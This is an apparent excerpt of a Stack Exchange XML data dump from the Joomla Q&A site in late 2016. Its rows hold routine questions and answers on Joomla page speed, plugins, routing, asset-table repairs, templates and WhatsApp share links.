  <row Id="18547" PostTypeId="2" ParentId="18543" CreationDate="2016-12-05T11:49:03.720" Score="1" Body="&lt;p&gt;Joomla 1.5 is not supported anymore, which means that is difficult to find current compatible extensions, software, tips, techniques and overall support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrading to latest Joomla would be the best thing you could do for many reasons including performance, considering the fact that you want to optimize the website for performance, which makes me think that it is an important site for you that you care of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, keep in mind that the speed optimization tasks you described above that are still concerning you, hardly work out of the box without tweaking and experimenting, even when you use a plugin like &lt;strong&gt;&lt;a href=&quot;https://www.jch-optimize.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCH Optimize&lt;/a&gt;&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you have to keep working on these tasks, in order to reach to the desired outcome and ensuring that anything you do doesn't break the functionality. There is no 1 single golden rule on how to do this without breaking the site, as each site is totally different. So it's up to you to build the proper solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one solution that I have seen giving the best results with the minimum hassle... and that is &lt;strong&gt;&lt;a href=&quot;https://www.cloudflare.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;CloudFlare&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could combine any custom work you can do at your own with a free Cloudflare account and achieve good results. In addition, Cloudflare will add an extra bit layer of security on your J1.5 site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-12-06T09:11:20.157" LastActivityDate="2016-12-06T09:11:20.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18549" PostTypeId="2" ParentId="18543" CreationDate="2016-12-05T14:33:42.470" Score="1" Body="&lt;p&gt;One thing I'd be wary of is that anything you do to solve this is going to require extensions to Joomla's core behaviour, which is going to make your server-side code less streamlined.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google's tool really shouldn't be viewed as a definitive list of what needs to be done to a site - it is only a list of suggestions based on what they are able to detect from the client side. The overall score is the only important bit.  Render blocking isn't going to be the only thing slowing down a page load. They suggest aiming for 85%+ - it does not need to be 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, it being a CMS is going to be one of the main things slowing your site down - each page has to be processed before display.  As such, caching is often something that can speed up a page load if you are not making use of that.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site has no interactive functionality on it at all, then it may even be possible to generate a completely static copy of the site to serve to users, and only use the CMS for making updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also review any extensions you are using - often third party ones can be pretty bulky, especially if they add their own instance of JQuery (bad extensions will often ignore the inbuilt js library - which I believe was Mootools on 1.5).&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-12-05T14:33:42.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18550" PostTypeId="2" ParentId="18476" CreationDate="2016-12-05T15:27:05.077" Score="3" Body="&lt;p&gt;I'd suggest you to use &lt;a href=&quot;https://extensions.joomla.org/extension/attachments&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attachment&lt;/a&gt; component. It's a simple component that allows you to add / attach file to joomla article. It also allows you to restrict file access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tlzui.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tlzui.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-12-05T15:27:05.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18551" PostTypeId="2" ParentId="18528" CreationDate="2016-12-05T18:54:25.287" Score="3" Body="&lt;p&gt;Plugin code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;class plgSystemMyplugin extends JPlugin&#xA;{&#xA;    function onAfterRender()&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        if ($app-&amp;gt;getName() != 'site') {&#xA;            return true;&#xA;        }&#xA;&#xA;        $buffer = JFactory::getApplication()-&amp;gt;getBody();&#xA;&#xA;        $insert = 'insertthis';&#xA;        $buffer= str_ireplace('&amp;lt;/body&amp;gt;',$insert.'&amp;lt;/body&amp;gt;',$buffer);&#xA;&#xA;        JFactory::getApplication()-&amp;gt;setBody($buffer);&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2016-12-18T15:17:39.160" LastActivityDate="2016-12-18T15:17:39.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18552" PostTypeId="2" ParentId="18543" CreationDate="2016-12-05T19:03:18.063" Score="1" Body="&lt;p&gt;First of all, anything about 85 with Google PageSpeed Insights is very good. No need to literally dissect your website just to get a higher score. 85 is good - more is overkill and really not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many websites end up with (subtle) broken features because of all the weird optimization especially on the CSS and the JS files. I don't think Google itself respects its PageInsight rules (we can't know for sure because PageSpeed insights is blocked from accessing Google). Even Amazon, the world's largest e-commerce website has a score of around 65, Yahoo has around 70, and YouTube has a score of 75 (its score for mobile is 63).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that your website is clean and HTML compliant and mobile friendly, don't have a lot of CSS/JS files, take care of your content and titles, make sure that your server responds quickly and you should be all set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't recommend using JCH Optimize, it's a mess, and rare (very rare) are those who can configure it to work properly on their Joomla website.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-05T19:03:18.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18554" PostTypeId="2" ParentId="5687" CreationDate="2016-12-05T20:29:10.433" Score="1" Body="&lt;p&gt;Class name of Script installer is defined in &#xA;$JPATH_ROOT/libraries/cms/installer/adapter.php:553&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$className = JFilterInput::getInstance()-&amp;gt;clean($this-&amp;gt;element, 'cmd') . 'InstallerScript';&#xA;// Cannot have - in class names&#xA;$className = str_replace('-', '', $className);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this mean &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;plg =&gt; &lt;strong&gt;PLGNAME&lt;/strong&gt;InstallerScript&lt;/li&gt;&#xA;&lt;li&gt;mod =&gt; &lt;strong&gt;MODNAME&lt;/strong&gt;InstallerScript&lt;/li&gt;&#xA;&lt;li&gt;component =&gt; &lt;strong&gt;COMNAME&lt;/strong&gt;InstallerScript&lt;/li&gt;&#xA;&lt;li&gt;template =&gt; &lt;strong&gt;TEMPLATENAME&lt;/strong&gt;InstallerScript&lt;br&gt;&#xA;widthout any '-' that be supressed by str_replace&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2016-12-05T20:29:10.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18556" PostTypeId="2" ParentId="16654" CreationDate="2016-12-05T23:05:31.923" Score="1" Body="&lt;p&gt;The simplest way to achieve this is to setup your domain's root folder to be &lt;code&gt;/public_html/joomla&lt;/code&gt;. This can easily be done with any add-on domain in a cPanel hosting environment. If you'll give more details of your server setup, I can provide more info on the proper steps.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-12-05T23:05:31.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18557" PostTypeId="2" ParentId="18278" CreationDate="2016-12-06T00:01:05.310" Score="3" Body="&lt;p&gt;You can do this as an administrator module:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login to the backend&lt;/li&gt;&#xA;&lt;li&gt;Go to Extensions - Modules&lt;/li&gt;&#xA;&lt;li&gt;Change Site to Administrator&lt;/li&gt;&#xA;&lt;li&gt;Create a Custom HTML module and in that module add an iframe code to wrap the ticket page on the frontend.&lt;/li&gt;&#xA;&lt;li&gt;Assign that module to the cPanel position (which means that it will show up on the homepage of the backend)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that using the above guide may mean that you will need to login twice, once to access the backend, and once to access the frontend ticket system from the backend module.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-06T00:01:05.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18558" PostTypeId="2" ParentId="18215" CreationDate="2016-12-06T00:06:10.697" Score="3" Body="&lt;p&gt;We have encountered the exact same issue, and it turned out to be indeed, a corruption in the &lt;code&gt;#__categories&lt;/code&gt; and in the &lt;code&gt;#__assets&lt;/code&gt; table where the entries for certain categories pointed to the wrong assets (these categories didn't have asset entries in the &lt;code&gt;#__assets&lt;/code&gt; table in the first place). Fixing this consists of recreating the asset entry for the category in the &lt;code&gt;#__assets&lt;/code&gt; table. You can read how we fixed this problem &lt;a href=&quot;http://www.itoctopus.com/are-you-unable-to-edit-your-joomla-articles-read-this&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is odd is that this problem only started happening when the client was updated to Joomla 3.6.4 (the client was using Joomla 3.5.1).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-06T00:06:10.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18559" PostTypeId="1" CreationDate="2016-12-06T04:26:21.977" Score="2" ViewCount="28" Body="&lt;p&gt;I'd like to create a layout that lists the article content from a chosen category.and subcategory for specific users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking into overriding the blog layout but I'm not familiar with what the code should look like that spits out for example Subcategory 2 User 1 Article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you point me to the function I should use to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.6.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9332" LastEditorUserId="9332" LastEditDate="2016-12-06T13:47:16.017" LastActivityDate="2016-12-06T14:05:43.150" Title="Show content from all users for a given Category" Tags="|joomla-3.x|overrides|template-override|layout|" AnswerCount="1" CommentCount="5" ClosedDate="2016-12-13T08:59:12.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="18560" PostTypeId="2" ParentId="18215" CreationDate="2016-12-06T04:59:31.080" Score="2" Body="&lt;p&gt;I solved the problem by using ACL Manager fix assets feature plus few manual steps. The problem was that there were duplicate categories with same name and same alias were created at the time of Joomla update as a child element of the main category plus assets table was broken. Following are the steps which I took:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Changed the alias and deleted the unnecessary categories very carefully that were not used. &lt;/li&gt;&#xA;&lt;li&gt;Installed ACL manager and go to &lt;strong&gt;Diagnostic&lt;/strong&gt; tab and fix the broken assets. &lt;/li&gt;&#xA;&lt;li&gt;I was facing a problem that assets fixation was stuck in a loop and same items were listed again and again when the &lt;strong&gt;fix asset&lt;/strong&gt; button was clicked.&lt;/li&gt;&#xA;&lt;li&gt;Open and re-save the items listed in ACL manager component. They can be articles, categories or modules.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And done. The problem was solved. However, for huge content step (4) will be hectic.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-12-06T04:59:31.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18561" PostTypeId="1" AcceptedAnswerId="23626" CreationDate="2016-12-06T12:39:22.730" Score="3" ViewCount="858" Body="&lt;p&gt;I am writing a component with two views - a list view, and an article view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list view generates the links for each article as follows, with $text being the variable I want in the URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JRoute::_(&quot;index.php?Itemid=103&amp;amp;testvar=&quot;.strtolower($text)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ie &lt;a href=&quot;http://www.test.com/test&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.test.com/test&lt;/a&gt; is the list page&#xA;and I want &lt;a href=&quot;http://www.test.com/test/text&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.test.com/test/text&lt;/a&gt; as the article page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;103 is the menu item id where the component is.  This is set to the list view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My router contains the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($query['testvar']))&#xA;    {        &#xA;     $segments[] = $query['testvar'];&#xA;     unset($query['testvar']);&#xA;&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This generates the following URL:&#xA;&lt;a href=&quot;http://www.test.com/test/text?testvar=text&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.test.com/test/text?testvar=text&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;unset($query['testvar']);&lt;/code&gt; does not seem to be working to remove the &lt;code&gt;?testvar=text&lt;/code&gt; bit.  Everything else is working as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround would be &lt;code&gt;&amp;lt;?php echo JRoute::_(&quot;index.php?Itemid=103&quot;).&quot;/&quot;.strtolower($text); ?&amp;gt;&lt;/code&gt; - but that seems hacky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-12-06T12:52:54.957" LastActivityDate="2018-10-20T17:53:56.350" Title="Unset not removing parameter from URL" Tags="|joomla-3.x|router|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18562" PostTypeId="2" ParentId="18493" CreationDate="2016-12-06T13:34:18.593" Score="0" Body="&lt;p&gt;Apparently, just removing the smoothscroll js call fixed it.&lt;/p&gt;&#xA;" OwnerUserId="9348" LastActivityDate="2016-12-06T13:34:18.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18563" PostTypeId="2" ParentId="18561" CreationDate="2016-12-06T13:50:43.453" Score="1" Body="&lt;p&gt;Assuming you can only have one list view, then your &lt;code&gt;BuildRoute&lt;/code&gt; function should have a maximum of 1 segment (which is the article alias). You should unset all other segments (try doing a &lt;code&gt;print_r&lt;/code&gt; to see what you should unset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;ParseRoute&lt;/code&gt; function, you check for the count of segments, and you return either the list view or the article view. Here's how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (count($segments) == '0'){ //it's a list view&#xA;    `return array('option'=&amp;gt;'com_yourcomponent', 'view'=&amp;gt;'list', 'Itemid'=&amp;gt;[the item id of your choice]);`&#xA;else //it's an article view&#xA;    `return array('option'=&amp;gt;'com_yourcomponent', 'view'=&amp;gt;'article', 'testvar' =&amp;gt; $segments[0], 'Itemid'=&amp;gt;[the item id of your choice]);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-06T13:50:43.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18564" PostTypeId="2" ParentId="18559" CreationDate="2016-12-06T14:05:43.150" Score="0" Body="&lt;p&gt;K2 allows you to do that using the &lt;code&gt;latest&lt;/code&gt; view. I suggest you download K2 and then check the code of the &lt;code&gt;latest&lt;/code&gt; view there, it should give you an idea on how to create a similar view on the &lt;code&gt;com_content&lt;/code&gt; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your website is new and this feature is critical, then you can just use K2 (you can easily migrate your existing content to K2 from within K2). It's an excellent content tool.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-12-06T14:05:43.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18565" PostTypeId="1" CreationDate="2016-12-06T17:20:10.557" Score="4" ViewCount="524" Body="&lt;p&gt;Thanks in advance for your response. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to assign (as we can do for admin back-office template), assign to user or a group of users a specific template ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible ? &lt;/p&gt;&#xA;" OwnerUserId="9389" LastActivityDate="2016-12-08T17:30:39.390" Title="Assign template to user" Tags="|joomla-3.x|templates|user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18566" PostTypeId="2" ParentId="18565" CreationDate="2016-12-06T17:54:38.400" Score="4" Body="&lt;p&gt;I believe you'd need to write/find a plug-in to fully achieve that.  The following question gives a basic framework for such a plugin:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/20049266/how-to-set-a-template-programmatically-using-a-plugin&quot;&gt;https://stackoverflow.com/questions/20049266/how-to-set-a-template-programmatically-using-a-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JFactory::getUser();&lt;/code&gt; would allow you to get the current user's groups, and you would then need to use this information to load the appropriate template.  Remember that users can be assigned to multiple groups, so you'd need to work out appropriate logic for such a case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, from a usability perspective, I can't see any reason why you'd want to show different groups a completely different template.  That would suggest its completely different site with little shared code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making small template changes for each user group is simple enough - you can assign modules on a group-only basis (&quot;Access&quot;), and it's not too hard to add a group-only style sheet that can make any css changes to a shared template if you need to swap colours or anything like that.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-12-06T17:54:38.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18567" PostTypeId="1" CreationDate="2016-12-06T18:58:07.480" Score="1" ViewCount="801" Body="&lt;p&gt;I'm using the Artio Joomsef component with the Virtuemart plugin mainly for sitemap manipulation, however every time I enable it i get the following error in the product pages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deprecated: Non-static method JoomSefLogger::Log() should not be called statically, assuming $this from incompatible context in /mnt/data/vhosts/mydomain/httpdocs/components/com_sef/sef_ext/com_virtuemart.php on line 404&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error relates to the below function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Function GetProductManufacturerId($productId)&#xA;{&#xA;    $database = JFactory::getDBO();&#xA;&#xA;    $database-&amp;gt;setQuery(&quot;SELECT `virtuemart_manufacturer_id` FROM `#__virtuemart_product_manufacturers` WHERE `virtuemart_product_id` = '{$productId}'&quot;);&#xA;    $mId = $database-&amp;gt;loadResult();&#xA;    if (is_null($mId)) {&#xA;        JoomSefLogger::Log(&quot;Manufacturer for product ID {$productId} not found.&quot;, $this, 'com_virtuemart');&#xA;    }&#xA;&#xA;    return $mId;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to modify the function so that the error no longer shows? Unfortunately, Artio does not provide support for the extension unless you buy it as a top up to the component itself, and the support forum isn't very active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not hot with php so i'm hoping someone could provide some advise so I can update the code with and use an override to ensure it doesn't reappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is running on Joomla 3.6.4 VM 3.0.18 and php 5.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-01-05T19:59:46.297" Title="Help fixing: Deprecated: Non-static method JoomSefLogger::Log() error" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18568" PostTypeId="2" ParentId="18567" CreationDate="2016-12-06T19:42:26.893" Score="1" Body="&lt;p&gt;It's a warning rather than an error, so it shouldn't be breaking your site and the simplest solution would be to turn off strict error reporting (error reporting should really be turned off any live site anyway.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;From php.net:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In PHP 5, calling non-static methods statically generates an E_STRICT&#xA;level warning&lt;/p&gt;&#xA;&lt;p&gt;In PHP 7, calling non-static methods statically is deprecated, and will generate an E_DEPRECATED warning. Support for calling&#xA;non-static methods statically may be removed in the future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Changing &lt;code&gt;JoomSefLogger::Log&lt;/code&gt; to &lt;code&gt;(new JoomSefLogger)-&amp;gt;Log&lt;/code&gt; may fix it, as might making the &lt;code&gt;JoomSefLogger&lt;/code&gt; function static.  Note that any patches in future may override such changes, however.&lt;/p&gt;&#xA;&lt;p&gt;That said, I think the most sensible solution would be to&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure both Virtuemart and the Plugin are patched to the latest version in case it has already been fixed.&lt;/li&gt;&#xA;&lt;li&gt;Contact the developer to let them know their plug-in is throwing an error. I see it is a paid-for plug-in, so you'd hope they would have some responsibility to their users to do bug fixing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-12-06T19:42:26.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18570" PostTypeId="1" AcceptedAnswerId="18571" CreationDate="2016-12-06T23:27:27.830" Score="3" ViewCount="74" Body="&lt;p&gt;I am new to Joomla and I am trying to create a form system whose questions will change depending on what was previously answered. The idea is to store this data into a database and allow other users to comment on this form/post...so basically it's a form/forum hybrid. Is there any plugin or plugins that could help me with this? I am playing around with Fabrik but I am not entirely sure it's gonna work as it should. &lt;/p&gt;&#xA;" OwnerUserId="9393" LastEditorUserId="12352" LastEditDate="2021-04-24T20:51:41.797" LastActivityDate="2021-04-24T20:51:41.797" Title="How to to create a multi-layered form system" Tags="|joomla-3.x|plugin|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18571" PostTypeId="2" ParentId="18570" CreationDate="2016-12-07T04:08:57.477" Score="3" Body="&lt;p&gt;The short answer is: you will need the assistance of a Joomla Programmer as &lt;em&gt;it's highly improbable you'll find a plug-in that suits your requirements.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I think what you are looking for is properly called an 'adaptive survey' or 'adaptive questionnaire,' (not be confused with 'responsive/adaptive as pertaining to screen-size - so even Googling this will return some 'red herrings' and you'll find solutions that 'adapt to screen-size'...not exactly what you're looking for!) - in other words, you need questionnaire in which the next set of questions in the survey is conditional on the answers to the prior question (Note that there is &lt;a href=&quot;https://ux.stackexchange.com/questions/69788/what-do-you-call-a-form-that-changes-based-on-users-answers&quot;&gt;some debate as to what to call such questionnaires&lt;/a&gt;) - but back in 2000, when designing online contest entry forms - we called these 'adaptive questionnaires.'  In anycase, the diagram at that link will be helpful to you in describing what you mean by an 'adaptive form.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if your requirements were to stop here (you simply need an adaptive questionnaire), you &lt;em&gt;might&lt;/em&gt; find something in the Joomla Extension Directory, but since you add another 2 requirements (at least), to pull it off you will require a bespoke solution.  For example,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Additional Requirement: Once submitted, you want the answers to appear somewhere on the site (this is not typical); and&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additional Requirement: You will need commenting system for those answers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Tying all that together will require some custom programming. &lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="-1" LastEditDate="2017-04-13T12:32:22.857" LastActivityDate="2016-12-07T04:08:57.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18572" PostTypeId="1" CreationDate="2016-12-07T04:42:25.530" Score="3" ViewCount="211" Body="&lt;p&gt;I am in need of custom plugin that allow me to add custom fields like Video from admin side for Articles of all category. Can anyone guide me please. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Video File type (I will select file and that would be saved)&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have try by creating custom plugin that allow me to add Input type=file but it stores filename of video only, it is not uploading video. can any has an idea from where i can achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All existing custom field components that i have checked provides Image only not a Video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do not have front side website to show this fields only for API purpose.&#xA;I want to add Video from admin side for each article it will not shown on front side, we have mobile application integration only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any option we can upload PDF or Video for each content from any core file...&lt;/p&gt;&#xA;" OwnerUserId="9327" LastEditorUserId="9327" LastEditDate="2016-12-07T16:28:00.613" LastActivityDate="2016-12-07T22:11:46.537" Title="Create a Custom field for content for adminside as Video" Tags="|joomla-3.x|com-content|content|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18573" PostTypeId="1" CreationDate="2016-12-07T10:27:12.667" Score="2" ViewCount="525" Body="&lt;p&gt;I need to set the article title as page title. Please, note that my articles are not menu items because my menu is built on a custom module.&#xA;Please, advise.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="9160" LastActivityDate="2019-02-06T15:21:04.127" Title="Set article title as page title" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18574" PostTypeId="1" CreationDate="2016-12-07T12:09:27.767" Score="2" ViewCount="1549" Body="&lt;p&gt;This is my sample article..How can I share this article through Whatsapp? &#xA;&lt;a href=&quot;https://i.stack.imgur.com/0eVLC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0eVLC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your answers will be appreciated..thanks!&lt;/p&gt;&#xA;" OwnerUserId="9397" LastActivityDate="2017-04-07T07:40:29.683" Title="How to share Joomla Article through Whatsapp?" Tags="|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18575" PostTypeId="2" ParentId="18574" CreationDate="2016-12-07T12:37:54.707" Score="2" Body="&lt;h1&gt;&lt;strong&gt;Custom URL Scheme&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;WhatsApp provides a custom URL scheme to interact with WhatsApp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a website and want to open a WhatsApp chat with a pre-filled message, you can use our custom URL scheme to do so. Opening &lt;strong&gt;whatsapp://send?text=&lt;/strong&gt; followed by the text to send, will open WhatsApp, allow the user to choose a contact, and pre-fill the input field with the specified text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of how to write this on your website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;whatsapp://send?text=Hello%20World!&quot;&amp;gt;Hello, world!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;And to add the link or icon&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;you can edit this file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root/layouts/joomla/content/icons.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE : &lt;strong&gt;You should not edit this file&lt;/strong&gt;. Instead you should create an override for it by copying the file to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root/templates/YOUR_TEMPLATE/html/layouts/joomla/content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this path doesn't exist, simply create it and put the &lt;strong&gt;icons.php&lt;/strong&gt; file inside the &lt;strong&gt;content&lt;/strong&gt; folder. You can then start editing it according to your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this on chrome mobile browser and its working. &#xA;I hope it will help you.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-12-07T13:00:26.427" LastActivityDate="2016-12-07T13:00:26.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
